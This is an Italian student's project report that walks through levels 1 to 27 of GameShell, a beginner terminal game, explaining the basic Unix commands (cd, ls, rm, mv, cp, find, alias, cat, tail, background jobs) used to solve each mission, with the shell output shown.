Alessandro Accordino

Progetto Finale Mese di Maggio

Completamento della Gameshell.sh:

Come primo esercizio del progetto abbiamo la risoluzione di vari livelli di un gioco da terminale, chiamato Gameshell.sh precedentemente installato. Risoluzione del primo esercizio:

```
Mission goal
============

Go to the top of the main tower of the castle.


Useful commands
===============

cd LOCATION
  Move to the given location.
  Remark: ``cd`` is an abbreviation for "change directory".

pwd
  Show the path to your current location.
  Remark: ``pwd`` is an abbreviation for "print working
  directory".

ls
  Show a list of locations that are currently accessible.
  Remark: ``ls`` is an abbreviation of "list".

gsh check
  Check if the mission objective has been achieved.
```

Obbiettivo: Raggiungere la vetta della torre principale del castello. Per fare ciò utilizzeremo il comando cd(Change Directory) e il comando ' ls'(list) per visionare il contenuto delle directory e capire dove andare:

```
[use 'gsh help' to get a list of available commands]
[mission 1] $ ls
Castle  Forest  Garden  Mountain  Stall
```

```
[mission 1] $ ls
Castle  Forest  Garden  Mountain  Stall

[use 'gsh help' to get a list of available commands]
[mission 1] $ cd Castle

[use 'gsh help' to get a list of available commands]
[mission 1] $ ls
Cellar  Great_hall  Main_building  Main_tower  Observatory

[use 'gsh help' to get a list of available commands]
[mission 1] $ cd Main_tower

[use 'gsh help' to get a list of available commands]
[mission 1] $ ls
First_floor

[use 'gsh help' to get a list of available commands]
[mission 1] $ cd First_floor

[use 'gsh help' to get a list of available commands]
[mission 1] $ ls
Second_floor

[use 'gsh help' to get a list of available commands]
[mission 1] $ cd Second_floor

[use 'gsh help' to get a list of available commands]
[mission 1] $ ls
Top_of_the_tower

[use 'gsh help' to get a list of available commands]
[mission 1] $ cd Top_of_the_tower
```

utilizziamo la combinazione di comandi 'ls' per vedere le varie cartelle e file e cd per spostarci. Come possiamo vedere abbiamo raggiunto la vetta quindi scriviamo 'gsh check':

```
[mission 1] $ gsh check

Congratulations, mission 1 has been successfully completed!

[ progress was saved in /home/kali/gameshell-save.sh ]
```

Come possiamo vedere il primo livello è stato superato senza problemi.

Livello 2:

```
Mission goal
============

Go the castle's cellar.
```

In questo livello utilizzeremo il comando **pwd** (present working directory) così da vedere il percorso della directory in cui ci troviamo e sempre il comando cd con delle varianti come '**cd ..**' per tornare alla directory precedente:

```
[use 'gsh help' to get a list of available commands]
[mission 2] $ pwd
/home/kali/gameshell.6/World/Castle/Main_tower/First_floor/Second_floor/Top_of_the_tower

[use 'gsh help' to get a list of available commands]
[mission 2] $ cd ../../../..

[use 'gsh help' to get a list of available commands]
[mission 2] $ pwd
/home/kali/gameshell.6/World/Castle

[use 'gsh help' to get a list of available commands]
[mission 2] $ ls
Cellar  Great_hall  Main_building  Main_tower  Observatory

[use 'gsh help' to get a list of available commands]
```

Come possiamo vedere siamo tornati alle directory precedenti tramite il comando cd e poi ci siamo spostati direttamente al nostro obbiettivo, osserviamo il gsh check per la conferma di risoluzione:

```
[use 'gsh help' to get a list of available commands]
[mission 2] $ gsh check

Congratulations, mission 2 has been successfully completed!
```

Livello 3:

```
Mission goal
============

Go back to the starting location and then go to the throne room using only two
commands.

Remark
======

You may experiment with as many commands as you want, but
to validate the mission the following conditions need to be met:
  - the second to last command takes you to the starting point,
  - the last command takes you directly to the throne room.
```

In questo livello utilizzeremo sempre il comando cd che utilizzato singolarmente ci permette di ritornare alla home di gioco e di fare anche tramite un singolo comando più spostamenti:

```
[mission 3] $ cd

[use 'gsh help' to get a list of available commands]
[mission 3] $ cd Castle/Main_building/Throne_room

[use 'gsh help' to get a list of available commands]
[mission 3] $ gsh check

Congratulations, mission 3 has been successfully completed!
```

Come possiamo vedere utilizziamo cd per tornare alla home di gioco e poi sempre cd per spostarci tramite singolo comando alla sala del trono.

Livello 4:

```
Mission goal
============

Build a "Hut" in the forest, and then build a "Chest" in the hut.
```

In questo livello dovremmo creare due cartelle avvalendoci del comando **mkdir** (make directory):

```
[mission 4] $ ls
Castle  Forest  Garden  Mountain  Stall

~
[mission 4] $ cd Forest

~/Forest
[mission 4] $ mkdir Hut

~/Forest
[mission 4] $ cd Hut

~/Forest/Hut
[mission 4] $ mkdir Chest
```

Come possiamo vedere creiamo in maniera molto semplice le cartelle e visualizziamo il risultato:

```
~/Forest/Hut
[mission 4] $ gsh check

Congratulations, mission 4 has been successfully completed!
```

Livello 5:

```
Mission goal
============

Go back to the cellar and get rid of all the spiders. Leave the bats alone: they
appear on the castle's coat of arms and are said to confer luck.
```

Per la risoluzione di questo livello utilizzeremo il comando **rm** (remove) che serve per rimuovere file o anche cartelle spostandoci tra le directory utilizzando sempre il comando cd e le sue varianti:

```
[mission 5] $ ls
Cellar  Great_hall  Main_building  Main_tower  Observatory

~/Castle
[mission 5] $ cd Cellar

~/Castle/Cellar
[mission 5] $ ls
barrel_of_apples  bat_1  bat_2  spider_1  spider_2  spider_3

~/Castle/Cellar
[mission 5] $ rm spider_1 spider_2 spider_3

~/Castle/Cellar
[mission 5] $ gsh check

Congratulations, mission 5 has been successfully completed!
```

Come possiamo vedere utilizziamo il comando ls per vedere le varie directory, il comando cd per spostarci ed il comando rm per rimuovere i ragni che ci davano fastidio.

Livello 6:

```
/  .-.                                                                          |
  /   \                                                                         |
 |\_.  |   Mission goal                                                         |
\|  | /|   ============                                                         |
 `__' |                                                                         |
      |   Collect all the coins that you can find in the garden in front of the castle,      |
      |   and put them in your chest in your hut in the forest.                |
      |                                                                        |
```

Per questo livello andremo ad utilizzare il comando **mv** (move) per spostare i file da una directory ad un'altra:

```
[mission 6] $ ls
Castle  Forest  Garden  Mountain  Stall

~
[mission 6] $ cd Garden

~/Garden
[mission 6] $ ls
coin_1  coin_2  coin_3  Flower_garden  Maze  Shed

~/Garden
[mission 6] $ mv coin_1 coin_2 coin_3 ../Forest/Hut/Chest

~/Garden
[mission 6] $ gsh check

Congratulations, mission 6 has been successfully completed!
```

come possiamo vedere ci spostiamo nella directory garden, visualizziamo con ls il contenuto della directory e utilizziamo il comando mv (move) per decidere i file e dove spostarli, in questo caso nella **chest nell'hut** della foresta.

Livello 7:

```
&\/\_.. ____________________________________________________________________________ ._/\/&\
    _||                                                                          ||_     )
_/\/ ||   Mission goal                                                           || \/\_/
     ||    ============                                                          ||
     ||                                                                          ||
     ||   Collect all the coins hidden in the garden in front of the castle, and put them    ||
     ||   in your chest (in your hut in the forest).                             ||
     ||                                                                          ||
     ||                                                                          ||
```

Per la risoluzione di questo livello dovremmo utilizzare il comando **ls -a** per visualizzare i contenuti nascosti nelle directory:

```
~/Garden
[mission 7] $ ls -a
.  ..  .1842_coin_2  .23035_coin_3  .29402_coin_1  Flower_garden  Maze  Shed

~/Garden
[mission 7] $ mv .1842_coin_2 .23035_coin_3 .29402_coin_1 ../Forest/Hut/Chest

~/Garden
[mission 7] $ gsh check

Congratulations, mission 7 has been successfully completed!
```

Come precedentemente fatto ci spostiamo nella directory garden tramite il comando cd e successivamente utilizziamo il comando ls -a per visualizzare i file nascosti con il punto d'avanti e spostarli nella **chest**.

Livello 8:

```
Mission goal
============

Get rid of all the spiders that are crawling in the cellar. Again, do not do not
disturb the bats.
```

In questo livello per rimuovere velocemente i file utilizzeremo i caratteri ***** e **?** il primo significa ogni carattere mentre il ? solamente ogni singoli caratteri:

```
[mission 8] $ ls
Castle  Forest  Garden  Mountain  Stall

~
[mission 8] $ cd Castle/Cellar

~/Castle/Cellar
[mission 8] $ ls
10704_spider_24  14254_spider_12  19028_spider_31  23521_spider_7   31532_spider_19  8194_spider_40
11033_spider_37  15205_spider_36  19315_spider_49  2368_spider_38   31750_spider_39  8695_spider_41
11106_spider_3   15218_spider_34  19551_spider_16  25056_bat_2      32763_spider_45  8844_spider_14
12087_spider_21  16711_bat_3      19755_spider_46  26093_spider_30  4248_spider_23   9315_spider_33
12377_spider_10  1686_spider_32   21124_spider_9   2690_spider_29   5294_spider_42   9685_spider_4
12412_spider_25  17564_spider_26  21219_spider_27  27256_bat_5      5716_spider_13   barrel_of_apples
12885_spider_1   17676_bat_1      2134_spider_44   27651_spider_47  6471_spider_20
13027_spider_48  17836_spider_11  21954_spider_2   28269_spider_28  6540_spider_17
13883_spider_43  18293_spider_18  22566_spider_8   28711_bat_4      6930_spider_15
13920_spider_35  19021_spider_50  22829_spider_5   29083_spider_22  7512_spider_6

~/Castle/Cellar
[mission 8] $ rm *_spider_*

~/Castle/Cellar
[mission 8] $ gsh check

Congratulations, mission 8 has been successfully completed!
```

Come possiamo vedere utilizziamo il comando "**rm *_spider_***" così da prendere tutti i ragni con qualsiasi carattere prima e dopo "spider".

Livello 9:

```
Mission goal
============

The spiders are getting clever: they found a way to hide.
Get rid of all the spiders that are hiding in the cellar without disturbing the
bats.
```

Per la risoluzione di questo livello dovremmo semplicemente avvalerci del comando ls -a precedentemente utilizzato per vedere i file nascosti ed eliminarli, in questo caso i vari ragni:

```
~/Castle/Cellar
[mission 9] $ ls -a
.                  .15121_spider_24  .18743_spider_23  .2518_spider_29   .28825_bat_3      .6634_spider_26
..                 .15707_spider_3   .19058_spider_13  .25280_spider_45  .29323_bat_1      .6950_spider_41
.10570_spider_28   .16207_spider_48  .19661_spider_7   .26326_spider_17  .2972_spider_9    .7024_spider_14
.10687_spider_49   .16550_spider_15  .19821_spider_34  .26389_spider_10  .30619_spider_50  .8093_spider_39
.1072_spider_22    16711_bat_3       .19883_bat_2      .26728_spider_44  .32343_spider_21  .8630_spider_42
.11287_spider_37   17676_bat_1       .19969_spider_32  .26969_spider_20  .32524_spider_30  .917_spider_47
.11410_spider_6    .17963_spider_18  .20751_spider_35  27256_bat_5       .32756_spider_36  .9191_spider_40
.12049_spider_25   .18022_spider_4   .21001_spider_8   .27944_spider_2   .3948_spider_27   barrel_of_apples
.13206_spider_11   .1820_bat_4       .21343_spider_46  .28165_spider_16  .42_spider_5
.14183_spider_12   .18340_bat_5      .22008_spider_33  .28336_spider_31  .4907_spider_43
.14465_spider_19   .18362_spider_1   25056_bat_2       28711_bat_4       .5615_spider_38

~/Castle/Cellar
[mission 9] $ rm .*_spider_*

~/Castle/Cellar
[mission 9] $ gsh check

Congratulations, mission 9 has been successfully completed!
```

Come possiamo vedere utilizziamo prima il comando ls -a per visualizzare i file nascosti e successivamente utilizziamo lo stesso comando veloce precedentemente utilizzato solamente con il punto d'avanti per cancellare i file nascosti (rm .*_spider_*)

Livello 10:

```
 \                                                                    |
  |   Mission goal                                                    |
 /|   ============                                                   |
' |                                                                   |
  |   You have taken a fancy to the four standards in the great hall of the castle. As |
  |   stealing them would not go unnoticed, put a copy (same name, same content) of |
  |   each in your chest.                                             |
  |                                                                   |
```

Per la risoluzione di questo esercizio utilizzeremo il comando **cp** (copy) che ci permette di copiare dei file e spostarli in un'altra directory, differentemente dal comando mv non cancella i file copiati nella directory principale:

```
~/Castle/Great_hall
[mission 10] $ ls
22907_stag_head          62755_suit_of_armour  standard_2  standard_4
42779_decorative_shield  standard_1            standard_3

~/Castle/Great_hall
[mission 10] $ cp *_? ../../Forest/Hut/Chest

~/Castle/Great_hall
[mission 10] $ gsh check

Congratulations, mission 10 has been successfully completed!
```

Come possiamo vedere anche questo livello è stato facilmente superato e come possiamo notare abbiamo utilizzato per velocità il comando **"*_?"** Per prendere velocemente tutti gli standard.

Livello 11:

```
Mission goal
The tapestries in the castle's great hall are also particularly beautiful. Put a copy of each in your chest.
```

Esattamente come il precedente esercizio utilizziamo il “cp” con il comando * così da selezionare più file contemporaneamente e copiarli nella directory chest:

```
~/Castle/Great_hall
[mission 11] $ ls
20639_decorative_shield  37395_tapestry_04  46811_tapestry_08  7657_stag_head  standard_4
26143_tapestry_09        38771_tapestry_03  60778_tapestry_06  standard_1
29128_tapestry_02        41940_tapestry_05  63109_tapestry_01  standard_2
37140_suit_of_armour     44952_tapestry_07  7310_tapestry_10   standard_3

~/Castle/Great_hall
[mission 11] $ cp *_tapestry_* ../../Forest/Hut/Chest

~/Castle/Great_hall
[mission 11] $ gsh check

Congratulations, mission 11 has been successfully completed!
```

Livello 12:

```
Mission goal
While wandering around the first floor of the main tower, some magnificent paintings catch your eye. Add a copy of the oldest one to your chest.
```

Per la risoluzione di questo esercizio andiamo ad utilizzare il comando ls -l(-long) che ci permette di visionare molti più dettagli sulle directory così potremo vedere la data del dipinto più vecchio:

```
~/Castle/Main_tower/First_floor
[mission 12] $ ls -l
total 16
-rw-rw-r-- 1 kali kali 1055 Nov 22  2017 painting_dyocojTL
-rw-rw-r-- 1 kali kali 1455 Jul  2  1996 painting_KABxQpVH
-rw-rw-r-- 1 kali kali 1503 Dec  7  1985 painting_uhZCKREk
drwxrwxr-x 3 kali kali 4096 May 31 05:16 Second_floor/
```

```
~/Castle/Main_tower/First_floor
[mission 12] $ cp painting_uhZCKREk ../../../Forest/Hut/Chest

~/Castle/Main_tower/First_floor
[mission 12] $ gsh check

Congratulations, mission 12 has been successfully completed!
```

Come possiamo vedere tramite il comando ls -l siamo stati in grado di visionare la data di creazione e anche altre informazioni come i permessi di scrittura, lettura ed esecuzione. Grazie ha ciò siamo riusciti a identificare quale fosse il più vecchio e poi copiarlo nella Chest.

Livello 13:

```
Mission goal
==========

Nostradamus predicted a spectacular star conjunction on the 12-26-1934.
But what will the day of the week be on that date?
```

Per la risoluzione di questo esercizio avremmo bisogno del comando **cal** (calendar) che si occupa di stampare un calendario del mese corrente e possiamo anche stampare il calendario dell'anno dato in input:

```
~/Castle/Main_tower/First_floor
[mission 13] $ cal 12 1934
   December 1934
Su Mo Tu We Th Fr Sa
                   1
 2  3  4  5  6  7  8
 9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31

~/Castle/Main_tower/First_floor
[mission 13] $ gsh check
What was the day of the week for the 12-26-1934?
  1 : Monday
  2 : Tuesday
  3 : Wednesday
  4 : Thursday
  5 : Friday
  6 : Saturday
  7 : Sunday
Your answer: 3

Congratulations, mission 13 has been successfully completed!
```

Come possiamo vedere scrivendo il comando "cal 12 1934" ci verrà mostrato solamente il mese di dicembre dell'anno 1934, secondo la richiesta data ovvero il 26, capiamo che si tratta di un mercoledì.

Livello 14:

```
Mission goal
==========

Checking for hidden files is taking too long!

Create an alias "la" to run the command ``ls -A`` in order to list all files,
including hidden ones, with only 2 letters.
```

Per la risoluzione di questo esercizio utilizzeremo il comando alias che ci permetterà di rendere una stringa specificata da noi in un comando per velocizzare la digitazione:

```
~/Castle/Main_tower/First_floor
[mission 14] $ alias la='ls -A'

~/Castle/Main_tower/First_floor
[mission 14] $ la
.nice_rock  painting_dyocojTL  painting_KABxQpVH  painting_uhZCKREk  Second_floor/

~/Castle/Main_tower/First_floor
[mission 14] $ gsh check

Congratulations, mission 14 has been successfully completed!
```

Come possiamo vedere abbiamo assegnato alla stringa **“la”** il valore del comando **“ls -A”** così da poterla utilizzare al suo posto.

Livello 15:

```
Mission goal
============

Create a file named "journal.txt" in your chest and write a short message in it.
You can use this file to record your notes and solutions for the upcoming
missions.

Note that "journal.txt" is a file in the "Chest" directory. You do not need to
create a new directory for this mission.
```

Per la risoluzione di questo esercizio utilizzeremo l’editor di testo nano che ci permette di creare file e di modificarli:

```
~/Forest/Hut/Chest
[mission 15] $ nano journal.txt

~/Forest/Hut/Chest
[mission 15] $ cat journal.txt
ciao questa è la mia grande avventura!

~/Forest/Hut/Chest
[mission 15] $ gsh check

Congratulations, mission 15 has been successfully completed!
```

Come possiamo vedere creiamo attraverso **nano** il file .txt, successivamente inseriamo dentro del testo, salviamo e visioniamo il tutto tramite il comando “**cat**” per averne conferma. Ovviamente utilizziamo il comando gsh check per la conferma di risoluzione.

Livello 16:

```
Mission goal
============

Create an alias "journal" in order to easily edit your journal file wherever you
are.
```

Anche in questo esercizio utilizziamo il comando alias per modificare facilmente il nostro file journal.txt utilizzando il percorso assoluto:

```
~/Forest/Hut/Chest
[mission 16] $ alias journal='nano /home/kali/gameshell.6/World/Forest/Hut/Chest/journal.txt'
gsh check

Congratulations, mission 16 has been successfully completed!
```

Come possiamo vedere inserendo il percorso assoluto la missione viene completata.

Livello 17:

```
Mission goal
============

At the back of the cellar, there is a small opening going to the spider queen's
lair.
Go there, and remove the spider queen (and nothing else).

Note: you have a limited amount of time (20 seconds) to do that. You can use the
command ``gsh reset`` to reset the timer.
```

Per questo esercizio sarà importante la velocità quindi utilizzeremo la Tabulazione per velocizzare la compilazione dei nomi di file o directory e in questo caso il comando **rm** per rimuovere il file della missione:

```
~/Castle/Cellar
[mission 17] $ ls -a
./          .1820_bat_4   27256_bat_5   barrel_of_apples
../         .18340_bat_5  28711_bat_4   .Lair_of_the_spider_queen YsTtoyssUxtzKVjt ayDviSUBEeZxQQLS/
16711_bat_3  .19883_bat_2  .28825_bat_3
17676_bat_1  25056_bat_2   .29323_bat_1

~/Castle/Cellar
[mission 17] $ cd .Lair_of_the_spider_queen\ YsTtoyssUxtzKVjt ayDviSUBEeZxQQLS/

~/Castle/Cellar/.Lair_of_the_spider_queen YsTtoyssUxtzKVjt ayDviSUBEeZxQQLS
[mission 17] $ ls
oguhnzrJrUjcYrus_spider_queen_VvxKzUVsOGQHQDoF  wcnJdfKJYFGaVmTs_baby_bat_LhkdJGMGoPcwYAay

~/Castle/Cellar/.Lair_of_the_spider_queen YsTtoyssUxtzKVjt ayDviSUBEeZxQQLS
[mission 17] $ rm oguhnzrJrUjcYrus_spider_queen_VvxKzUVsOGQHQDoF

~/Castle/Cellar/.Lair_of_the_spider_queen YsTtoyssUxtzKVjt ayDviSUBEeZxQQLS
[mission 17] $ gsh check
Perfect, it took you only 20 seconds to complete this mission!

Congratulations, mission 17 has been successfully completed!
```

Come possiamo vedere utilizziamo il comando **ls -a** per vedere i file nascosti e la tabulazione per velocizzarci.

Livello 18:

```
  |   Mission goal
 /|   ============
-' |
   |   As you are walking around the castle, you feel like you are being watched...
   |   Turn your head quickly enough and you may see one of the paintings' eyes
   |   following you.
   |
   |   1/ Run the ``xeyes`` command, and stop it.
   |   2/ Run the ``xeyes`` command in the background.
```

Per completare questo esercizio dobbiamo eseguire il comando **xeyes** normalmente e poi in background con il comando **&:**

```
~/Castle/Cellar/.Lair_of_the_spider_queen YsTtoyssUxtzKVjt ayDviSUBEeZxQQLS
[mission 18] $ xeyes
xeyes &
^C

~/Castle/Cellar/.Lair_of_the_spider_queen YsTtoyssUxtzKVjt ayDviSUBEeZxQQLS
[mission 18] $ xeyes &
[1] 2573910

~/Castle/Cellar/.Lair_of_the_spider_queen YsTtoyssUxtzKVjt ayDviSUBEeZxQQLS
[mission 18] $ gsh check

Congratulations, mission 18 has been successfully completed!
```

Come possiamo vedere eseguiamo normalmente il processo "**xeyes**" e lo fermiamo tramite "**ctrl+c",** successivamente utilizziamo il comando & per eseguirlo in background.

Livello 19:

```
Mission goal
============

The king's pyrotechnician appears next to you. He asks you to fire **at least 3
simultaneous fireworks** so he can see them from far away.

A single firework can be created with the magical word

  flarigo

NOTE: the pyrotechnician starts looking at the sky when you call the ``gsh
check`` command. Checking the mission after the fireworks have exploded will not
work.
```

Per completare questo esercizio utilizzeremo il comando non standard **flaringo** e il comando **&** per eseguire in simultanea più comandi.

```
~/Garden
[mission 19] $  flarigo & flarigo & flarigo & gsh check
                                  _\(/_
    _\(/_                         ./)\
    ./)\                            .
      .
      *
      .
    _\(/_
    ./)\
      .
Great, that looked good!
[1]   Done                    flarigo
[2]-  Done                    flarigo
[3]+  Done                    flarigo

Congratulations, mission 19 has been successfully completed!
```

Come possiamo vedere utilizziamo una combinazione di comandi **"flarigo & flarigo & flarigo & gsh check**" per far partire in contemporanea i tre fuochi d'artificio e gsh check per fare in modo che controlli allo stesso tempo come richiesto.

Livello 20:

```
Mission goal
============

The king's pyrotechnician is trying to remember the magical incantation for
creating the grand finale for his fireworks. This incantation starts with the
word charmiglio and must be followed by four random letters, as in

  $ charmiglio abcd
or
  $ charmiglio oops

Help the pyrotechnician by finding 4 letters producing appropriate fireworks.


NOTE: when the four letters are incorrect, the magical reaction can take a very
long time. You need to interrupt it!

It will probably take several tries before finding a combination of letters
that works.
```

Per risolvere questo esercizio abbiamo bisogno di testare varie combinazioni e usare ctrl+c per fermare i fuochi d'artificio finché dopo alcuni tentativi funzionerà la combinazione:

```
[mission 20] $ gsh check
What's a valid 4 letters sequence? aaaa

Congratulations, mission 20 has been successfully completed!
```

L'esercizio si basa sul far imparare come terminare dei processi tramite ctrl+c quindi non serve brute-force o altro ma semplicemente alcuni tentativi prestabiliti.

Livello 21:

```
 ____________________________________________________________________________
  / \                                                                       \.
 |   | Mission goal                                                        |.
  \_ | ============                                                        |.
     |                                                                     |.
     | Find the copper coin in the small maze in the garden and move it to your chest. |.
```

Per la risoluzione dell'esercizio dobbiamo trovare i file delle monete di rame potremmo usare **"find"** per sbrigarci e spostarle nella nostra Chest utilizzando il comando "mv (move" che si occupa di spostare i file e rimuoverli dalla loro posizione iniziale:

```
~/Garden/Maze
[mission 21] $ find -iname "*copper*"
./62ede494f6ba260fe8d838452126d2d/474d42a4ae1a8f9204bf0/750c1833582ae15d687cf2d19b/OOOOO_copper_coin_OOOOO

~/Garden/Maze
[mission 21] $ cd 62ede494f6ba260fe8d838452126d2d/474d42a4ae1a8f9204bf0/750c1833582ae15d687cf2d19b/

~/Garden/Maze/62ede494f6ba260fe8d838452126d2d/474d42a4ae1a8f9204bf0/750c1833582ae15d687cf2d19b
[mission 21] $ mv OOOOO_copper_coin_OOOOO ../../../../../Forest/Hut/Chest

~/Garden/Maze/62ede494f6ba260fe8d838452126d2d/474d42a4ae1a8f9204bf0/750c1833582ae15d687cf2d19b
[mission 21] $ gsh check

Congratulations, mission 21 has been successfully completed!
```

Come possiamo vedere utilizziamo il comando **find -iname "*copper*"** che si occupa di cercare qualsiasi nome di file di cui non ci interessa se maiuscolo o meno grazie al **-iname** e caratteri precedenti o successivi grazie a *.

Livello 22:

```
 / \                                                                       \.
|   | Mission goal                                                        |.
 \_ | ============                                                        |.
    |                                                                     |.
    | Find the silver coin in the maze in the garden and move it to your chest using |.
    | the shell.                                                          |.
```

Per la risoluzione di questo esercizio utilizzeremo il comando ls -r che stampa la lista di tutti i file o directory includendo le sotto-directory e il comando **tree** che stampa l'albero delle directory della directory in cui ci troviamo:

```
.
├── 3bd50d3cc50a
│   ├── 2a892e6c949e3f7b5879740865c8
│   │   ├── 5a37d9a7e04d216f9b0
│   │   ├── 850d5327441
│   │   └── bc99690f57b0
│   ├── 63c4635498a8dbac3648fed6ff1c
│   │   ├── 3fd96ea59e747e67d5e8a0b
│   │   ├── 67c3012225ffe4c2b02eee
│   │   └── e59ce53bd6f1080c6
│   └── 941550988d9965f741296237182723c
│       ├── 6257af20c375587a2f368710064f2
│       ├── 857f5d0574f990b39
│       └── f36367df5393ec3daef21e
├── 6905b6fb0e63af50219dcd4b7c619
│   ├── 282f4e99ee5
│   │   ├── 2ca6faa110cc
│   │   ├── 8faa59d0e103
│   │   └── d80d923f349817b108f48229f96af94
│   ├── 53202a285e9c
│   │   ├── 74bb113208c4
│   │   ├── 99b3bad57ebd98af83b4a0b0e9
│   │   └── d285d269ac3b
│   └── c151a90d11ab4d340f60cb71b
│       ├── 5590966151a3625407030da7
│       ├── 70dbd410463f9
│       └── e9a1ca2f28
│           └── OOOOO_silver_coin_OOOOO
```

Utilizziamo il comando “**tree**” e troviamo il silver coin, successivamente scriviamo il suo percorso e lo spostiamo tramite il comando mv (move) nella nostra Chest:

```
~/Garden/Maze
[mission 22] $ cd 6905b6fb0e63af50219dcd4b7c619/c151a90d11ab4d340f60cb71b/e9a1ca2f28/

~/Garden/Maze/6905b6fb0e63af50219dcd4b7c619/c151a90d11ab4d340f60cb71b/e9a1ca2f28
[mission 22] $ mv OOOOO_silver_coin_OOOOO ../../../../Forest/Hut/Chest

~/Garden/Maze/6905b6fb0e63af50219dcd4b7c619/c151a90d11ab4d340f60cb71b/e9a1ca2f28
[mission 22] $ gsh check

Congratulations, mission 22 has been successfully completed!
```

Come possiamo vedere inseriamo il percorso trovato nel **tree** e lo spostiamo tramite il comando mv, successivamente utilizziamo il comando gsh check per confermare il completamento.

Livello 23:

```
Mission goal
============

Find the gold coins in the maze hidden in the garden and move them to your
chest.
```

Per risolvere questo esercizio utilizziamo nuovamente il comando **find** che ci permette di trovare file ecc...

```
~/Garden/Maze
[mission 23] $  find -iname "*gold*"
./16bf8abc47e/fbad81fcd00f30eaca35ccec0eb80/01b6c6917df6593923895/gold_coin_1
./2df6a011cb7af48a744fd5fa5441/6550e727d93477cd9eddd3d48a0/62de2a8383fd89b5e2/GolD_CoiN_2
```

Dopo aver trovato i percorsi utilizziamo cd per spostarci come al solito ed il comando **mv** per spostarli nella nostra cartella Chest:

```
~/Garden/Maze/9ecaa306ab55f85649d132a3fcffb1c/f4c8de538bb1d3f6e475d3/d8a02c18cad2b83de76c54ece258
[mission 23] $ mv gold_coin_1 ../../../../../Forest/Hut/Chest
```

```
~/Garden/Maze
[mission 23] $ cd b231baa03eea2279b1412dabef5678/45a22b537a313d43724d1a41e/ae8da79794d4f40126649a665730/

~/Garden/Maze/b231baa03eea2279b1412dabef5678/45a22b537a313d43724d1a41e/ae8da79794d4f40126649a665730
[mission 23] $ mv GolD_CoiN_2 ../../../../../Forest/Hut/Chest
```

```
~/Garden/Maze/b231baa03eea2279b1412dabef5678/45a22b537a313d43724d1a41e/ae8da79794d4f40126649a665730
[mission 23] $ gsh check

Congratulations, mission 23 has been successfully completed!
```

Come possiamo vedere dopo aver trovato i file e cambiato le directory, possiamo attuare lo spostamento tramite mv dei file nella nostra Chest e attuare la conferma tramite gsh check.

Livello 24:

```
    ^                                                                          \
(0)═══)>◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇◇<)═(0)
    \/''''''
```

Per la risoluzione di questo esercizio andremo sempre ad utilizzare cat per visualizzare i file contenenti le ricette che ci interessano e il comando tail che si occupa di prendere solamente le ultime righe del file dato che viene richiesto di prendere tutta la ricetta senza il titolo:

```
~/Mountain/Cave
[mission 25] $ tail -9 Book_of_potions/page_12
1) Boil water in a cauldron.
2) Add in a few death caps (Amanita phalloides).
3) Also add a few fly agarics (Amanita muscaria).
4) And some destroying angels (Amanita virosa).
5) Mix in a few deadly webcaps (Cortinarius rubellus).
6) Feel free to add in any colourful fungi you have on hand.
7) Let half of the water evaporate.
8) Season with a pinch of salt and a few herbs.
9) Serve hot in a bowl.

~/Mountain/Cave
[mission 25] $ gsh check

Congratulations, mission 25 has been successfully completed!
```

Come possiamo vedere utilizziamo il comando tail -9 per prendere solo le ultime 9 righe del file così da non prendere anche il titolo e completare il livello.

Livello 26:

```
=(                                                                    (@=()
  '                                                                        '|
   |                                                                        |
   | Mission goal                                                           |
   | ============                                                           |
   |                                                                        |
   | While cleaning the dishes, Servillus mentions an interesting potion that lets |
   | the drinker (temporarily) take the physical appearance of anyone.      |
   | Read the recipe of the potion from the hermit's book.                  |
   |                                                                        |
   | In order to validate the mission, you need to be in the cave with Servillus |
   | **and** your last command prior to ``gsh check`` must show the whole recipe |
   | (with its title).                                                      |
```

Per la risoluzione di questo esercizio andremo ad utilizzare sempre cat ma concatenando vari file per ottenere la ricetta completa:

```
~/Mountain/Cave
[mission 26] $ cat Book_of_potions/page_01 Book_of_potions/page_02
vvvvvvvvvvvvvvvvvvvvv
Transformation potion
^^^^^^^^^^^^^^^^^^^^^
1) Boil water in a cauldron.
2) Add 3 measures of fluxweed to the cauldron.
3) Add 2 bundles of knotgrass to the cauldron.
4) Stir 4 times, clockwise.
5) Wave your wand then let potion brew for 80 minutes.
6) Add 4 leeches to the cauldron.
7) Crush 2 scoops of lacewing flies to a fine paste.
8) Add 2 measures of the crushed lacewings to the cauldron.
9) Heat for 30 seconds on a low heat.
10) Add 3 measures of boomslang skin to the cauldron.
11) Crush a bicorn horn into a fine powder.
12) Add 1 measure of the crushed horn to the cauldron.
13) Heat for 20 seconds at a high temperature.
14) Wave your wand then let potion brew for 24 hours.
15) Add 1 additional scoop of lacewings to the cauldron.
16) Stir 3 times, counter-clockwise.
17) Split potion into multiple doses, if desired.
18) Add a pieces of the person you wish to become.
19) Wave your wand to complete the potion.

~/Mountain/Cave
[mission 26] $ gsh check

Congratulations, mission 26 has been successfully completed!
```

Come possiamo vedere concatenando i file con cat visualizziamo la ricetta completa.

Livello 27:

```
Mission goal
============

The old hermit notices your interest for potion recipes, and sees promise in
your ability to lookup lists of ingredients. He challenges you to find the
steps for the elixir of Youth.

In order to validate the mission, you need to be in the cave with Servillus
**and** your last command prior to ``gsh check`` must show the steps for the
recipe and nothing else.

Note: you shouldn't alter the content of the book of potions.
```

Per la risoluzione di questo esercizio useremo sempre cat per visionare i file concatenandoli e poi aggiungeremo tail per escludere il titolo e prendere solo la ricetta:

```
~/Mountain/Cave
[mission 27] $ cat Book_of_potions/page_03 Book_of_potions/page_04 | tail -n 16
1) Fill a cauldron with used bath water.
2) Put a moderately large frog in the water.
3) Let the preparation rest overnight.
4) The next morning thank and free your little green friend.
5) Boil the water and add in a few sticks of oak tree.
6) Crush 5 river stones to a fine powder.
7) Mix in a third of the powder and stir vigorously.
8) Let the preparation rest for a day.
9) Add hairs from the tail of a squirrel (willingly given).
10) Add the remaining stone powder.
11) Stir the potion very vigorously, in all directions.
12) Take some time to rest after such an effort.
13) Rest a little bit more.
14) Even take a nap if you want.
15) Add a few larch tree needles for seasoning.
16) Drink the potion from the cauldron.

~/Mountain/Cave
[mission 27] $ gsh check

Congratulations, mission 27 has been successfully completed!
```

Come Possiamo vedere concateniamo la pagina 03 con la 04 e poi con il pipe (|) prendiamo il suo output e aggiungiamo il comando tail -16 per stampare solamente le ultime 16 righe escludendo il titolo come richiesto.

Livello 28:

